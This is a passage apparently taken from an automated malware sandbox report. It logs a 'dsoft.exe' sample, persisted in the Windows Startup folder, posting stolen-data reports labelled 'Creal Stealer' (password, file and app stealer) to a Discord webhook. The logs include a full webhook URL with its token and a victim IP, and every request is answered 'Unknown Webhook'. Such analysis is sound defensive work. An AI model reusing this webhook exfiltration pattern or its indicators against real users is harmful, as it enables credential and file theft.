                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iDxeDBbD1twnpOf33mkDXNidjOwSMPHDivs28Eceg7NFAgr1tcf%2F6avo%2BQ%2BGLq1WaCABsraHpPaCzLjv3SXUZF0VBgKY7aebsQm0yr9gUhibEAa3qNGo%2BkSkOkBj"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=fb0620a1d440d8d9dc581fe7feecd809ce02036c-1735498992; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=7cTCxMQ23W0MXsOeJV5mu.iCoZ1Nwr3PWsHZBdn1xuo-1735498992556-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0c7e987f42b2-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:12 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        35192.168.2.449821162.159.138.2324434336C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:12 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 420
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:12 UTC420OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 41 70 70 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 5c 6e 5c 6e 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | App Stealer", "description": "\n\n", "color": 2895667, "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal
                                                                                                                                                                                                                                        2024-12-29 19:03:13 UTC1249INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:13 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498994
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wHbxt5snp5LWE70zpj9teEQNkBY5uug3zFoqxfcAISGB53d9ORqG1qWUvMg12FR3WMsZZxyRVUbbzUoWj9hTBRUop47pMI9sHG6asOdGSVMi4y4xMkh0kbILCtzL"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=c5c8ad22de9d9335f6f22020bcf3d643bcef42d3-1735498993; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=mAuKRqK4k312Eyps0ASto5iRBKJrj2RnDNjqZZE6xZo-1735498993233-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0c8359fc80df-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:13 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        36192.168.2.449822162.159.138.2324437128C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:13 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 412
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:13 UTC412OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 69 65 6c 64 73 22 3a 20 5b 5d 2c 20 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 46 69 6c 65 20 53 74 65 61 6c 65 72 22 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c 2d 53 74 65 61 6c 65 72
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"color": 2895667, "fields": [], "title": "Creal Stealer | File Stealer", "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer
                                                                                                                                                                                                                                        2024-12-29 19:03:14 UTC1255INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:13 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498995
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P4cCz%2B6GTFKiNj27jMa3nOMnoHSuBzbzDJU5QYNhOymm66tk1DlM4KLpR%2B9AiDe3vhwJ6Ls20n4Pfb4C7X4q%2BBgBFKlI9ASyxyofWpYyAeWsKsPxc4wgOZ7OT9p7"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=c5c8ad22de9d9335f6f22020bcf3d643bcef42d3-1735498993; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=mZUP9t.G9wKv88k84hir6t_BZNsAS7L6i21JDbhTAeM-1735498993889-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0c87692ef5f8-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:14 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        37192.168.2.449827162.159.138.2324434336C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:14 UTC333OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 1787
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:14 UTC1787OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 50 61 73 73 77 6f 72 64 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 46 6f 75 6e 64 2a 2a 3a 5c 6e 5c 6e 5c 6e 2a 2a 44 61 74 61 3a 2a 2a 5c 6e 3c 61 3a 68 69 72 61 5f 6b 61 73 61 61 6e 61 68 74 61 72 69 3a 38 38 36 39 34 32 38 35 36 39 36 39 38 37 35 34 37 36 3e 20 5c 75 32 30 32 32 20 2a 2a 30 2a 2a 20 50 61 73 73 77 6f 72 64 73 20 46 6f 75 6e 64 5c 6e 3c 61 3a 43 48 5f 49 63 6f 6e 41 72 72 6f 77 52 69
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | Password Stealer", "description": "**Found**:\n\n\n**Data:**\n<a:hira_kasaanahtari:886942856969875476> \u2022 **0** Passwords Found\n<a:CH_IconArrowRi
                                                                                                                                                                                                                                        2024-12-29 19:03:14 UTC1261INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:14 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498995
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=52bY%2BB%2Bf8fFGJ%2BeR13r1vnKn0Vznx6g%2F%2FPLNNhfDhKAjNIETkVIZfLmMC47suoMCgLlyumogkTOuIrzLJOv0XRl3mmYof0r6THRsPMGskkWnmQEkcDZEuhLHnpj%2B"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=2cd2b22600556013a937bfbb25f8ced4b5bdb3d6-1735498994; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=miv5VEcgMGvSszyEVQy4p4k8LoEzjiH9RqpR.yn2p4s-1735498994342-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0c89dfda7c99-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:14 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        38192.168.2.449828162.159.138.2324434336C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:14 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 420
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:14 UTC420OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 41 70 70 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 5c 6e 5c 6e 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | App Stealer", "description": "\n\n", "color": 2895667, "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal
                                                                                                                                                                                                                                        2024-12-29 19:03:15 UTC1251INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:15 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498996
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zP9Fknv8PBgA1CPMHV23fygZA0AhUPGA57WxUg8oSoqTnYd7xTuPb7z1RZzdkh3gIwB0gYg1n8fW%2FVFV65ig72K4qBKR5JZQC8RN9g6XTjo8rVNbdRNZ2G2IWM4p"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=82c40b0008dad80de20b0eba30cc0737be6c58ea-1735498995; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=JRzLCGxbGi4.GEFzKlJaBRuFMimBaCAVS62_SeegYnI-1735498995036-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0c8e78b8f793-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:15 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        39192.168.2.449830162.159.138.2324437128C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:15 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 412
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:15 UTC412OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 69 65 6c 64 73 22 3a 20 5b 5d 2c 20 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 46 69 6c 65 20 53 74 65 61 6c 65 72 22 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c 2d 53 74 65 61 6c 65 72
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"color": 2895667, "fields": [], "title": "Creal Stealer | File Stealer", "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer
                                                                                                                                                                                                                                        2024-12-29 19:03:15 UTC1253INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:15 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498997
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KQlHNLXZsoWsyTiTbJ5DMD7tODH1q2E1JwvMhvJi2rovB78oYoxne%2Ftg2WLTF%2BbNOOwCZxpL6Qt4n1vnkwxQEnfW3ieuEAQCIAth1ih2n8P8z2wwJFz4h0X1GqNG"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=82c40b0008dad80de20b0eba30cc0737be6c58ea-1735498995; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=0vKBVEFNkYlYVXo91uyIw4xSlPGkR.p81jHRFtBklDU-1735498995703-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0c929f6818b4-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:15 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        40192.168.2.449831162.159.138.2324434336C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:15 UTC333OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 1787
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:15 UTC1787OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 50 61 73 73 77 6f 72 64 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 46 6f 75 6e 64 2a 2a 3a 5c 6e 5c 6e 5c 6e 2a 2a 44 61 74 61 3a 2a 2a 5c 6e 3c 61 3a 68 69 72 61 5f 6b 61 73 61 61 6e 61 68 74 61 72 69 3a 38 38 36 39 34 32 38 35 36 39 36 39 38 37 35 34 37 36 3e 20 5c 75 32 30 32 32 20 2a 2a 30 2a 2a 20 50 61 73 73 77 6f 72 64 73 20 46 6f 75 6e 64 5c 6e 3c 61 3a 43 48 5f 49 63 6f 6e 41 72 72 6f 77 52 69
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | Password Stealer", "description": "**Found**:\n\n\n**Data:**\n<a:hira_kasaanahtari:886942856969875476> \u2022 **0** Passwords Found\n<a:CH_IconArrowRi
                                                                                                                                                                                                                                        2024-12-29 19:03:16 UTC1255INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:16 GMT
